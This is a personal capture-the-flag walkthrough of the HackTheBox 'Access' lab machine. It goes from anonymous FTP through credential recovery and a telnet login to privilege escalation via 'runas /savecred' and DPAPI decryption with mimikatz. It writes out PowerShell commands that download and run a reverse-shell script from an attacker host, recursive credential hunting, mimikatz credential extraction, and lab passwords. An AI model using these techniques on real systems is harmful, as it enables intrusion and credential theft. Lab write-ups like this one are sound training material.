Access

Enumeration

Let's start by scanning all tcp ports using nmap.
nmap -sCV -p- --min-rate 1000 -T4 10.10.10.98
Pasted image 20240827125351.png
We have FTP, IIS Server and Telnet so let's explore FTP first.

FTP - Anonymous

Let's access ftp with anonymous credentials.
ftp 10.10.10.98
anonymous
Enter
ls
Pasted image 20240827125424.png

FTP Problem (229 Entering Extended Passive Mode)

We have some problemas with the passive mode so i just have to type passive to turn off that mode.
passive
Pasted image 20240827125517.png
ls
Pasted image 20240827125552.png
Now i see 2 directories Engineer and Backup so let's explore it.

FTP Problem (580 bare linefeeds received in ASCII mode)

cd Backups
get backup.mdb
Pasted image 20240827125625.png
tHis means this is a binary file so we must enable binary mode on this FTP server so let's do it and repeat the process.
type binary
get backup.mdb
Pasted image 20240827125806.png
Now let's download Access Control.zip from Engineer directory.
cd Engineer
get Access\ Control.zip
Pasted image 20240827125836.png

mdb file - mdb-tools

We can see with file command that this file is a Microsoft Access Database which can be examined using "mdb-tools".
file backup.mdb
Pasted image 20240827143001.png

mdb-export backup.mdb auth_user
Pasted image 20240827142952.png

Now we have credentials admin:admin, backup_admin:admin and engineer:access4u@security.

zip file - 7z

We can see with file command that this file is a Microsoft Outlook Personal Storage.
file Access\ Control.pst
Pasted image 20240827143016.png
I tried to unzip this file with unzip command but i failed so i treid 7z instead to check first file information of "Access Control.zip".
unzip Access\ Control.zip
Pasted image 20240827143225.png
7z l -slt Access\ Control.zip
access4u@security
Pasted image 20240827143456.png
So we now know that there is a AES 256 encryption that is supported in 7z and WinZip. Let's try to unzip and use the passwords that we found.
7z x Access\ Control.zip
Pasted image 20240827143621.png
Now we can access Access Control directory created by the last command and see the email from John wich give us credentials security:4Cc3ssC0ntr0ller
cat 2.eml
Pasted image 20240827144404.png

Telnet - port 23

Now let's access telnet with this credentials.
telnet 10.10.10.98
security
4Cc3ssC0ntr0ller
Pasted image 20240827144640.png
Now let's get user flag.
cd Desktop
dir
Pasted image 20240827144702.png

Upgrade Telnet Shell

The telnet shell is not very convenient, and it is quickly upgraded. A web server is started and hosts shell.ps1 from this link.
nano shell.ps1
python3 -m http.server 80
nc -lvnp 4444
powershell "IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.12/shell.ps1')"
Pasted image 20240827145851.png

Privilege Escalation

Let's start by seeing what groups and privileges does this user belong and have.
whoami /priv
Pasted image 20240827150015.png
net user security
Pasted image 20240827150035.png
It doesn't seem interesting so let's now see if there is saved credentials.

Stored Credentials

cmdkey /list
Pasted image 20240827150156.png
So we have saved credentials from Administrator so what we need to do now is enumerate all the accessible shortcut (.lnk) files on the system, and examine them for the presence of the "runas" command.
Get-ChildItem "C:\" *.lnk -Recurse -Force | ft fullname | Out-File shortcuts.txt
ForEach($file in gc .\shortcuts.txt) { Write-Output $file; gc $file | Select-String runas }
Pasted image 20240827150704.png
I detected a ZKAccess shortcut on the Public Desktop has been configured in this way so let's go to the Public directory and explore more.
cd C:\Users\Public
dir
Pasted image 20240827151207.png
I notice that the Desktop folder is hidden for us but after i check all the groups available on this target machine i notice of a group call that has access to Desktop hidden folder.
whoami /groups
Pasted image 20240827151505.png
icacls C:\Users\Public\Desktop
Pasted image 20240827151642.png
I think that this folder is accessible to the builtin "NT AUTHORITY\INTERACTIVE" group. Users who log in "interactively" locally, or over a Remote Desktop or telnet session will have the Interactive SID in their access token.

Option A - Exploiting "runas /savecred"

Let's start a PowerShell reverse shell as ACCESS\Administrator using runas command and get root flag.
nc -lvnp 4444
runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.12/shell.ps1')"
whoami
Pasted image 20240827154138.png
cd C:\Users\Administrator\Desktop
dir
Pasted image 20240827154447.png

Option B - DPAPI abuse - Need to be on Windows machine

Identification of credentials and masterkeys

Since we have administrator privileges let's try to find out available credential files and masterkeys using this command.
cmd /c "dir /S /AS C:\Users\security\AppData\Local\Microsoft\Vault & dir /S /AS C:\Users\security\AppData\Local\Microsoft\Credentials & dir /S /AS C:\Users\security\AppData\Local\Microsoft\Protect & dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Vault & dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Credentials & dir /S /AS C:\Users\security\AppData\Roaming\Microsoft\Protect"
Pasted image 20240827154837.png
Pasted image 20240827154857.png
We found the Credential filename 51AB168BE4BDB3A603DADE4F8CA81290 and the mastery key 0792c32e-48a5-4fe3-8b43-d93d64590580.

Powershell Base64 file transfer

Since both mastery key and credential filename are base64 encoded let's decode both of them on powershell. [Convert]::ToBase64StringReadAllBytes("C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290")
Pasted image 20240827155548.png
[Convert]::ToBase64StringReadAllBytes("C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580")
Pasted image 20240827155706.png

Credential extraction - Mimikatz

First let's upload mimikatz.exe to the target machine using a python server and then execute executable mimikatz.exe.
python -m http.server 80
powershell "IEX (New-Object Net.Webclient).downloadstring('http://10.10.14.12/mimikatz.exe')"

Let's explore the credential file using mimikatz.exe, which reveals the corresponding masterkey (guidMasterKey). This matches the masterkey that was extracted.
dpapi::cred /in:51AB168BE4BDB3A603DADE4F8CA81290 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
Pasted image 20240827160756.png

Now that we get the masterkey 0792c32e-48a5-4fe3-8b43-d93d64590580 let's examine it with mimikatz.exe.
dpapi::masterkey /in:0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
Pasted image 20240827160933.png

Now that mimikatz cach has masterykey we can now decrypt blob and open a telnet session as ACCESS\Administrator and gain the root flag.
dpapi::cred /in:51AB168BE4BDB3A603DADE4F8CA81290
Pasted image 20240827161123.png
We got the credentials administrator:55Acc3ssS3cur1ty@megacorp we can
telnet 10.10.10.98
administrator
55Acc3ssS3cur1ty@megacorp
Pasted image 20240827161656.png